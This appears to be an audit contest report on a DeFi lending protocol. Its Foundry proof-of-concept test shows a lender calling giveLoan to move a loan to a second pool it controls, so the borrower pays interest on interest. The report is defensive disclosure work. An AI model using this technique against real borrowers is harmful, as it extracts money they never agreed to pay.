20,000 USDC
View results
Submission Details
Severity: high
Valid

Lenders can force borrowers to pay more than originally contracted

Summary

Lenders can force borrowers to take out more loan and pay more in interest even though the interest rate remains the same.

Vulnerability Details

Lenders can force borrowers to pay more by calling the giveLoan function on another pool that they own. For example, if the borrower takes out a loan of 100 USDT at a 10% interest rate, they are expecting to pay 110 USDT after a year has passed. However, if in the middle of the loan year, the lender gives the loan to another pool which they control, the total debt that the borrower would have accrued on the continuous loan would be about 5 USDT, making the total payable about 105 USDT. The total loan taken out on the new pool (still controlled by the lender) would be about 105 USDT and now the same interest rate would apply on 105 USDT making the borrower pay more than intended.

Impact

Borrower pays more interest than originally contracted

#POC

function _loanDebtAfter(uint x) public returns(uint){
vm.warp(x);
return lender.getLoanDebt(0);
}
function test_forceBiggerLoan() public {
test_borrow();
uint loanTime = block.timestamp;
// the borrower expects that the total repayable amount
// after a year would be 110 borrowed tokens
uint originalDebtAfterAYear = _loanDebtAfter(loanTime + 365 days);
assertEq(originalDebtAfterAYear, 110 * 1e18);
// the lender decides to transfer the loan to
// another pool he owns after 182 days
vm.warp(loanTime + 182 days);
address lenderSecondAddress = lender2;
vm.startPrank(lenderSecondAddress);
Pool memory p = Pool({
lender: lenderSecondAddress,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 105*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = keccak256(
abi.encode(
address(lenderSecondAddress),
address(loanToken),
address(collateralToken)
)
);
vm.startPrank(lender1);
lender.giveLoan(loanIds, poolIds);
// confirm that the borrower now owes a bigger debt
uint newDebtAfterAYear = _loanDebtAfter(loanTime + 365 days);
assertGt(newDebtAfterAYear, originalDebtAfterAYear);
}

Tools Used

Foundry

Recommendations

The protocol could force the lender to give the loan to a new lender with a lower interest rate such that the total payable by the borrower after a year is the same or better than what was previously obtainable

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.